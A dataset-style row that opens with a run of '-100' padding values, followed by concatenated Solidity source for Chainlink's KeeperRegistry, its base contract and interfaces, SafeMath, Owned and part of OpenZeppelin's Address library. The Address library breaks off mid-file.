-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract KeeperBase {
/**
* @notice method that allows it to be simulated via eth_call by checking that
* the sender is the zero address.
*/
function preventExecution()
internal
view
{
require(tx.origin == address(0), "only for simulated backend");
}
/**
* @notice modifier that allows it to be simulated via eth_call by checking
* that the sender is the zero address.
*/
modifier cannotExecute()
{
preventExecution();
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import "@chainlink/contracts/src/v0.7/interfaces/LinkTokenInterface.sol";
import "@chainlink/contracts/src/v0.7/vendor/SafeMathChainlink.sol";
import "./vendor/Owned.sol";
import "./vendor/Address.sol";
import "./vendor/Pausable.sol";
import "./vendor/ReentrancyGuard.sol";
import "./vendor/SignedSafeMath.sol";
import "./SafeMath96.sol";
import "./KeeperBase.sol";
import "./KeeperCompatibleInterface.sol";
import "./KeeperRegistryInterface.sol";
/**
* @notice Registry for adding work for Chainlink Keepers to perform on client
* contracts. Clients must support the Upkeep interface.
*/
contract KeeperRegistry is
Owned,
KeeperBase,
ReentrancyGuard,
Pausable,
KeeperRegistryExecutableInterface
{
using Address for address;
using SafeMathChainlink for uint256;
using SafeMath96 for uint96;
using SignedSafeMath for int256;
address constant private ZERO_ADDRESS = address(0);
address constant private IGNORE_ADDRESS = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
bytes4 constant private CHECK_SELECTOR = KeeperCompatibleInterface.checkUpkeep.selector;
bytes4 constant private PERFORM_SELECTOR = KeeperCompatibleInterface.performUpkeep.selector;
uint256 constant private CALL_GAS_MAX = 2_500_000;
uint256 constant private CALL_GAS_MIN = 2_300;
uint256 constant private CANCELATION_DELAY = 50;
uint256 constant private CUSHION = 5_000;
uint256 constant private REGISTRY_GAS_OVERHEAD = 80_000;
uint256 constant private PPB_BASE = 1_000_000_000;
uint64 constant private UINT64_MAX = 2**64 - 1;
uint96 constant private LINK_TOTAL_SUPPLY = 1e27;
uint256 private s_upkeepCount;
uint256[] private s_canceledUpkeepList;
address[] private s_keeperList;
mapping(uint256 => Upkeep) private s_upkeep;
mapping(address => KeeperInfo) private s_keeperInfo;
mapping(address => address) private s_proposedPayee;
mapping(uint256 => bytes) private s_checkData;
Config private s_config;
int256 private s_fallbackGasPrice; // not in config object for gas savings
int256 private s_fallbackLinkPrice; // not in config object for gas savings
LinkTokenInterface public immutable LINK;
AggregatorV3Interface public immutable LINK_ETH_FEED;
AggregatorV3Interface public immutable FAST_GAS_FEED;
address private s_registrar;
struct Upkeep {
address target;
uint32 executeGas;
uint96 balance;
address admin;
uint64 maxValidBlocknumber;
address lastKeeper;
}
struct KeeperInfo {
address payee;
uint96 balance;
bool active;
}
struct Config {
uint32 paymentPremiumPPB;
uint24 blockCountPerTurn;
uint32 checkGasLimit;
uint24 stalenessSeconds;
uint16 gasCeilingMultiplier;
}
struct PerformParams {
address from;
uint256 id;
bytes performData;
}
event UpkeepRegistered(
uint256 indexed id,
uint32 executeGas,
address admin
);
event UpkeepPerformed(
uint256 indexed id,
bool indexed success,
address indexed from,
uint96 payment,
bytes performData
);
event UpkeepCanceled(
uint256 indexed id,
uint64 indexed atBlockHeight
);
event FundsAdded(
uint256 indexed id,
address indexed from,
uint96 amount
);
event FundsWithdrawn(
uint256 indexed id,
uint256 amount,
address to
);
event ConfigSet(
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
);
event KeepersUpdated(
address[] keepers,
address[] payees
);
event PaymentWithdrawn(
address indexed keeper,
uint256 indexed amount,
address indexed to,
address payee
);
event PayeeshipTransferRequested(
address indexed keeper,
address indexed from,
address indexed to
);
event PayeeshipTransferred(
address indexed keeper,
address indexed from,
address indexed to
);
event RegistrarChanged(
address indexed from,
address indexed to
);
/**
* @param link address of the LINK Token
* @param linkEthFeed address of the LINK/ETH price feed
* @param fastGasFeed address of the Fast Gas price feed
* @param paymentPremiumPPB payment premium rate oracles receive on top of
* being reimbursed for gas, measured in parts per billion
* @param blockCountPerTurn number of blocks each oracle has during their turn to
* perform upkeep before it will be the next keeper's turn to submit
* @param checkGasLimit gas limit when checking for upkeep
* @param stalenessSeconds number of seconds that is allowed for feed data to
* be stale before switching to the fallback pricing
* @param gasCeilingMultiplier multiplier to apply to the fast gas feed price
* when calculating the payment ceiling for keepers
* @param fallbackGasPrice gas price used if the gas price feed is stale
* @param fallbackLinkPrice LINK price used if the LINK price feed is stale
*/
constructor(
address link,
address linkEthFeed,
address fastGasFeed,
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
) {
LINK = LinkTokenInterface(link);
LINK_ETH_FEED = AggregatorV3Interface(linkEthFeed);
FAST_GAS_FEED = AggregatorV3Interface(fastGasFeed);
setConfig(
paymentPremiumPPB,
blockCountPerTurn,
checkGasLimit,
stalenessSeconds,
gasCeilingMultiplier,
fallbackGasPrice,
fallbackLinkPrice
);
}
// ACTIONS
/**
* @notice adds a new upkeep
* @param target address to peform upkeep on
* @param gasLimit amount of gas to provide the target contract when
* performing upkeep
* @param admin address to cancel upkeep and withdraw remaining funds
* @param checkData data passed to the contract when checking for upkeep
*/
function registerUpkeep(
address target,
uint32 gasLimit,
address admin,
bytes calldata checkData
)
external
override
onlyOwnerOrRegistrar()
returns (
uint256 id
)
{
require(target.isContract(), "target is not a contract");
require(gasLimit >= CALL_GAS_MIN, "min gas is 2300");
require(gasLimit <= CALL_GAS_MAX, "max gas is 2500000");
id = s_upkeepCount;
s_upkeep[id] = Upkeep({
target: target,
executeGas: gasLimit,
balance: 0,
admin: admin,
maxValidBlocknumber: UINT64_MAX,
lastKeeper: address(0)
});
s_checkData[id] = checkData;
s_upkeepCount++;
emit UpkeepRegistered(id, gasLimit, admin);
return id;
}
/**
* @notice simulated by keepers via eth_call to see if the upkeep needs to be
* performed. If it does need to be performed then the call simulates the
* transaction performing upkeep to make sure it succeeds. It then eturns the
* success status along with payment information and the perform data payload.
* @param id identifier of the upkeep to check
* @param from the address to simulate performing the upkeep from
*/
function checkUpkeep(
uint256 id,
address from
)
external
override
whenNotPaused()
cannotExecute()
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
int256 gasWei,
int256 linkEth
)
{
Upkeep storage upkeep = s_upkeep[id];
gasLimit = upkeep.executeGas;
(gasWei, linkEth) = getFeedData();
maxLinkPayment = calculatePaymentAmount(gasLimit, gasWei, linkEth);
require(maxLinkPayment < upkeep.balance, "insufficient funds");
bytes memory callData = abi.encodeWithSelector(CHECK_SELECTOR, s_checkData[id]);
(
bool success,
bytes memory result
) = upkeep.target.call{gas: s_config.checkGasLimit}(callData);
require(success, "call to check target failed");
(
success,
performData
) = abi.decode(result, (bool, bytes));
require(success, "upkeep not needed");
success = performUpkeepWithParams(PerformParams({
from: from,
id: id,
performData: performData
}));
require(success, "call to perform upkeep failed");
return (performData, maxLinkPayment, gasLimit, gasWei, linkEth);
}
/**
* @notice executes the upkeep with the perform data returned from
* checkUpkeep, validates the keeper's permissions, and pays the keeper.
* @param id identifier of the upkeep to execute the data with.
* @param performData calldata paramter to be passed to the target upkeep.
*/
function performUpkeep(
uint256 id,
bytes calldata performData
)
external
override
returns (
bool success
)
{
return performUpkeepWithParams(PerformParams({
from: msg.sender,
id: id,
performData: performData
}));
}
/**
* @notice prevent an upkeep from being performed in the future
* @param id upkeep to be canceled
*/
function cancelUpkeep(
uint256 id
)
external
override
{
uint64 maxValid = s_upkeep[id].maxValidBlocknumber;
bool notCanceled = maxValid == UINT64_MAX;
bool isOwner = msg.sender == owner;
require(notCanceled || (isOwner && maxValid > block.number), "too late to cancel upkeep");
require(isOwner|| msg.sender == s_upkeep[id].admin, "only owner or admin");
uint256 height = block.number;
if (!isOwner) {
height = height.add(CANCELATION_DELAY);
}
s_upkeep[id].maxValidBlocknumber = uint64(height);
if (notCanceled) {
s_canceledUpkeepList.push(id);
}
emit UpkeepCanceled(id, uint64(height));
}
/**
* @notice adds LINK funding for an upkeep by tranferring from the sender's
* LINK balance
* @param id upkeep to fund
* @param amount number of LINK to transfer
*/
function addFunds(
uint256 id,
uint96 amount
)
external
override
validUpkeep(id)
{
s_upkeep[id].balance = s_upkeep[id].balance.add(amount);
LINK.transferFrom(msg.sender, address(this), amount);
emit FundsAdded(id, msg.sender, amount);
}
/**
* @notice uses LINK's transferAndCall to LINK and add funding to an upkeep
* @dev safe to cast uint256 to uint96 as total LINK supply is under UINT96MAX
* @param sender the account which transferred the funds
* @param amount number of LINK transfer
*/
function onTokenTransfer(
address sender,
uint256 amount,
bytes calldata data
)
external
{
require(msg.sender == address(LINK), "only callable through LINK");
require(data.length == 32, "data must be 32 bytes");
uint256 id = abi.decode(data, (uint256));
validateUpkeep(id);
s_upkeep[id].balance = s_upkeep[id].balance.add(uint96(amount));
emit FundsAdded(id, sender, uint96(amount));
}
/**
* @notice removes funding from a cancelled upkeep
* @param id upkeep to withdraw funds from
* @param to destination address for sending remaining funds
*/
function withdrawFunds(
uint256 id,
address to
)
external
validateRecipient(to)
{
require(s_upkeep[id].admin == msg.sender, "only callable by admin");
require(s_upkeep[id].maxValidBlocknumber <= block.number, "upkeep must be canceled");
uint256 amount = s_upkeep[id].balance;
s_upkeep[id].balance = 0;
emit FundsWithdrawn(id, amount, to);
LINK.transfer(to, amount);
}
/**
* @notice recovers LINK funds improperly transfered to the registry
* @dev In principle this function’s execution cost could exceed block
* gaslimit. However, in our anticipated deployment, the number of upkeeps and
* keepers will be low enough to avoid this problem.
*/
function recoverFunds()
external
onlyOwner()
{
uint96 locked = 0;
uint256 max = s_upkeepCount;
for (uint256 i = 0; i < max; i++) {
locked = s_upkeep[i].balance.add(locked);
}
max = s_keeperList.length;
for (uint256 i = 0; i < max; i++) {
address addr = s_keeperList[i];
locked = s_keeperInfo[addr].balance.add(locked);
}
uint256 total = LINK.balanceOf(address(this));
LINK.transfer(msg.sender, total.sub(locked));
}
/**
* @notice withdraws a keeper's payment, callable only by the keeper's payee
* @param from keeper address
* @param to address to send the payment to
*/
function withdrawPayment(
address from,
address to
)
external
validateRecipient(to)
{
KeeperInfo memory keeper = s_keeperInfo[from];
require(keeper.payee == msg.sender, "only callable by payee");
s_keeperInfo[from].balance = 0;
emit PaymentWithdrawn(from, keeper.balance, to, msg.sender);
LINK.transfer(to, keeper.balance);
}
/**
* @notice proposes the safe transfer of a keeper's payee to another address
* @param keeper address of the keeper to transfer payee role
* @param proposed address to nominate for next payeeship
*/
function transferPayeeship(
address keeper,
address proposed
)
external
{
require(s_keeperInfo[keeper].payee == msg.sender, "only callable by payee");
require(proposed != msg.sender, "cannot transfer to self");
if (s_proposedPayee[keeper] != proposed) {
s_proposedPayee[keeper] = proposed;
emit PayeeshipTransferRequested(keeper, msg.sender, proposed);
}
}
/**
* @notice accepts the safe transfer of payee role for a keeper
* @param keeper address to accept the payee role for
*/
function acceptPayeeship(
address keeper
)
external
{
require(s_proposedPayee[keeper] == msg.sender, "only callable by proposed payee");
address past = s_keeperInfo[keeper].payee;
s_keeperInfo[keeper].payee = msg.sender;
s_proposedPayee[keeper] = ZERO_ADDRESS;
emit PayeeshipTransferred(keeper, past, msg.sender);
}
/**
* @notice signals to keepers that they should not perform upkeeps until the
* contract has been unpaused
*/
function pause()
external
onlyOwner()
{
_pause();
}
/**
* @notice signals to keepers that they can perform upkeeps once again after
* having been paused
*/
function unpause()
external
onlyOwner()
{
_unpause();
}
// SETTERS
/**
* @notice updates the configuration of the registry
* @param paymentPremiumPPB payment premium rate oracles receive on top of
* being reimbursed for gas, measured in parts per billion
* @param blockCountPerTurn number of blocks an oracle should wait before
* checking for upkeep
* @param checkGasLimit gas limit when checking for upkeep
* @param stalenessSeconds number of seconds that is allowed for feed data to
* be stale before switching to the fallback pricing
* @param fallbackGasPrice gas price used if the gas price feed is stale
* @param fallbackLinkPrice LINK price used if the LINK price feed is stale
*/
function setConfig(
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
)
onlyOwner()
public
{
s_config = Config({
paymentPremiumPPB: paymentPremiumPPB,
blockCountPerTurn: blockCountPerTurn,
checkGasLimit: checkGasLimit,
stalenessSeconds: stalenessSeconds,
gasCeilingMultiplier: gasCeilingMultiplier
});
s_fallbackGasPrice = fallbackGasPrice;
s_fallbackLinkPrice = fallbackLinkPrice;
emit ConfigSet(
paymentPremiumPPB,
blockCountPerTurn,
checkGasLimit,
stalenessSeconds,
gasCeilingMultiplier,
fallbackGasPrice,
fallbackLinkPrice
);
}
/**
* @notice update the list of keepers allowed to peform upkeep
* @param keepers list of addresses allowed to perform upkeep
* @param payees addreses corresponding to keepers who are allowed to
* move payments which have been acrued
*/
function setKeepers(
address[] calldata keepers,
address[] calldata payees
)
external
onlyOwner()
{
for (uint256 i = 0; i < s_keeperList.length; i++) {
address keeper = s_keeperList[i];
s_keeperInfo[keeper].active = false;
}
for (uint256 i = 0; i < keepers.length; i++) {
address keeper = keepers[i];
KeeperInfo storage s_keeper = s_keeperInfo[keeper];
address oldPayee = s_keeper.payee;
address newPayee = payees[i];
require(oldPayee == ZERO_ADDRESS || oldPayee == newPayee || newPayee == IGNORE_ADDRESS, "cannot change payee");
require(!s_keeper.active, "cannot add keeper twice");
s_keeper.active = true;
if (newPayee != IGNORE_ADDRESS) {
s_keeper.payee = newPayee;
}
}
s_keeperList = keepers;
emit KeepersUpdated(keepers, payees);
}
/**
* @notice update registrar
* @param registrar new registrar
*/
function setRegistrar(
address registrar
)
external
onlyOwnerOrRegistrar()
{
address previous = s_registrar;
require(registrar != previous, "Same registrar");
s_registrar = registrar;
emit RegistrarChanged(previous, registrar);
}
// GETTERS
/**
* @notice read all of the details about an upkeep
*/
function getUpkeep(
uint256 id
)
external
view
override
returns (
address target,
uint32 executeGas,
bytes memory checkData,
uint96 balance,
address lastKeeper,
address admin,
uint64 maxValidBlocknumber
)
{
Upkeep memory reg = s_upkeep[id];
return (
reg.target,
reg.executeGas,
s_checkData[id],
reg.balance,
reg.lastKeeper,
reg.admin,
reg.maxValidBlocknumber
);
}
/**
* @notice read the total number of upkeep's registered
*/
function getUpkeepCount()
external
view
override
returns (
uint256
)
{
return s_upkeepCount;
}
/**
* @notice read the current list canceled upkeep IDs
*/
function getCanceledUpkeepList()
external
view
override
returns (
uint256[] memory
)
{
return s_canceledUpkeepList;
}
/**
* @notice read the current list of addresses allowed to perform upkeep
*/
function getKeeperList()
external
view
override
returns (
address[] memory
)
{
return s_keeperList;
}
/**
* @notice read the current registrar
*/
function getRegistrar()
external
view
returns (
address
)
{
return s_registrar;
}
/**
* @notice read the current info about any keeper address
*/
function getKeeperInfo(
address query
)
external
view
override
returns (
address payee,
bool active,
uint96 balance
)
{
KeeperInfo memory keeper = s_keeperInfo[query];
return (keeper.payee, keeper.active, keeper.balance);
}
/**
* @notice read the current configuration of the registry
*/
function getConfig()
external
view
override
returns (
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
)
{
Config memory config = s_config;
return (
config.paymentPremiumPPB,
config.blockCountPerTurn,
config.checkGasLimit,
config.stalenessSeconds,
config.gasCeilingMultiplier,
s_fallbackGasPrice,
s_fallbackLinkPrice
);
}
// PRIVATE
/**
* @dev retrieves feed data for fast gas/eth and link/eth prices. if the feed
* data is stale it uses the configured fallback price. Once a price is picked
* for gas it takes the min of gas price in the transaction or the fast gas
* price in order to reduce costs for the upkeep clients.
*/
function getFeedData()
private
view
returns (
int256 gasWei,
int256 linkEth
)
{
uint32 stalenessSeconds = s_config.stalenessSeconds;
bool staleFallback = stalenessSeconds > 0;
uint256 timestamp;
(,gasWei,,timestamp,) = FAST_GAS_FEED.latestRoundData();
if (staleFallback && stalenessSeconds < block.timestamp - timestamp) {
gasWei = s_fallbackGasPrice;
}
(,linkEth,,timestamp,) = LINK_ETH_FEED.latestRoundData();
if (staleFallback && stalenessSeconds < block.timestamp - timestamp) {
linkEth = s_fallbackLinkPrice;
}
return (gasWei, linkEth);
}
/**
* @dev calculates LINK paid for gas spent plus a configure premium percentage
*/
function calculatePaymentAmount(
uint256 gasLimit,
int256 gasWei,
int256 linkEth
)
private
view
returns (
uint96 payment
)
{
uint256 weiForGas = uint256(gasWei).mul(gasLimit.add(REGISTRY_GAS_OVERHEAD));
uint256 premium = PPB_BASE.add(s_config.paymentPremiumPPB);
uint256 total = weiForGas.mul(1e9).mul(premium).div(uint256(linkEth));
require(total <= LINK_TOTAL_SUPPLY, "payment greater than all LINK");
return uint96(total); // LINK_TOTAL_SUPPLY < UINT96_MAX
}
/**
* @dev calls target address with exactly gasAmount gas and data as calldata
* or reverts if at least gasAmount gas is not available
*/
function callWithExactGas(
uint256 gasAmount,
address target,
bytes memory data
)
private
returns (
bool success
)
{
assembly{
let g := gas()
// Compute g -= CUSHION and check for underflow
if lt(g, CUSHION) { revert(0, 0) }
g := sub(g, CUSHION)
// if g - g//64 <= gasAmount, revert
// (we subtract g//64 because of EIP-150)
if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) }
// solidity calls check that a contract actually exists at the destination, so we do the same
if iszero(extcodesize(target)) { revert(0, 0) }
// call and return whether we succeeded. ignore return data
success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0)
}
return success;
}
/**
* @dev calls the Upkeep target with the performData param passed in by the
* keeper and the exact gas required by the Upkeep
*/
function performUpkeepWithParams(
PerformParams memory params
)
private
nonReentrant()
validUpkeep(params.id)
returns (
bool success
)
{
require(s_keeperInfo[params.from].active, "only active keepers");
Upkeep memory upkeep = s_upkeep[params.id];
uint256 gasLimit = upkeep.executeGas;
(int256 gasWei, int256 linkEth) = getFeedData();
gasWei = adjustGasPrice(gasWei);
uint96 payment = calculatePaymentAmount(gasLimit, gasWei, linkEth);
require(upkeep.balance >= payment, "insufficient payment");
require(upkeep.lastKeeper != params.from, "keepers must take turns");
uint256 gasUsed = gasleft();
bytes memory callData = abi.encodeWithSelector(PERFORM_SELECTOR, params.performData);
success = callWithExactGas(gasLimit, upkeep.target, callData);
gasUsed = gasUsed - gasleft();
payment = calculatePaymentAmount(gasUsed, gasWei, linkEth);
upkeep.balance = upkeep.balance.sub(payment);
upkeep.lastKeeper = params.from;
s_upkeep[params.id] = upkeep;
uint96 newBalance = s_keeperInfo[params.from].balance.add(payment);
s_keeperInfo[params.from].balance = newBalance;
emit UpkeepPerformed(
params.id,
success,
params.from,
payment,
params.performData
);
return success;
}
/**
* @dev ensures a upkeep is valid
*/
function validateUpkeep(
uint256 id
)
private
view
{
require(s_upkeep[id].maxValidBlocknumber > block.number, "invalid upkeep id");
}
/**
* @dev adjusts the gas price to min(ceiling, tx.gasprice)
*/
function adjustGasPrice(
int256 gasWei
)
private
view
returns(int256 adjustedPrice)
{
adjustedPrice = int256(tx.gasprice);
int256 ceiling = gasWei.mul(s_config.gasCeilingMultiplier);
if(adjustedPrice > ceiling) {
adjustedPrice = ceiling;
}
}
// MODIFIERS
/**
* @dev ensures a upkeep is valid
*/
modifier validUpkeep(
uint256 id
) {
validateUpkeep(id);
_;
}
/**
* @dev ensures that burns don't accidentally happen by sending to the zero
* address
*/
modifier validateRecipient(
address to
) {
require(to != address(0), "cannot send to zero address");
_;
}
/**
* @dev Reverts if called by anyone other than the contract owner or registrar.
*/
modifier onlyOwnerOrRegistrar() {
require(msg.sender == owner || msg.sender == s_registrar, "Only callable by owner or registrar");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathChainlink {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
// SPDX-License-Identifier: MIT
// github.com/OpenZeppelin/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
